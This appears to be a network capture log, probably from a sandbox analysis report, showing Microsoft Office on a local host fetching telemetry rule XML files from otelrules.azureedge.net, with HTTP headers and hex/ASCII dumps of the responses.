2024-10-11 18:30:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	59046	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: c024300a-701e-001e-3836-1af5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183015Z-1597f696844q8c67yszg3hsx0000000003r00000000107bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	59048	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dae695f2-d01e-0066-14a4-15ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183015Z-r154656d9bcbgl7txcdy78hpp400000002tg00000000q62s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	59049	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: aa7a2717-401e-0067-41a3-1b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183016Z-r154656d9bc9b22p5yc1zg6euw00000002q000000001byk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	59052	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 5e44e277-701e-006f-7cd7-1aafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183016Z-1597f696844jq2rssgzrsupds4000000040000000000smua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	59050	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:16 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: ed34bfa3-901e-0015-1f08-1ab284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183016Z-1597f6968444v2bb9vg1k11dcs00000002qg00000000s84u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	59053	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: bfaaa79a-701e-0098-13e7-1b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183016Z-r154656d9bcc4snr2sy7ntt13c0000000hug00000000sac6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	59051	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 408dd0a1-801e-0078-11a3-1bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183016Z-1597f69684422wgj3u8kq0401g00000001bg00000000fenk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	59058	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:17 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 56f44d8c-701e-003e-060b-1c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183017Z-1597f696844dq2z42yxqsye8f400000003u000000001fv23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-11 18:30:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	59056	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:17 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:17 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 584bde60-501e-00a0-58ac-1b9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183017Z-r154656d9bcq7mrvshhcb7rrsn00000002pg00000000c863 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:17 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	59055	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:17 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a267c0c0-701e-000d-3aa3-1b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183017Z-r154656d9bccmm6rkkqtqxp14n00000000sg00000000g3dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:17 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	59057	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 6e5eb744-701e-0098-3aa3-1b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183017Z-1597f696844rxj9pg4nkdptn1w00000002y00000000019sh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
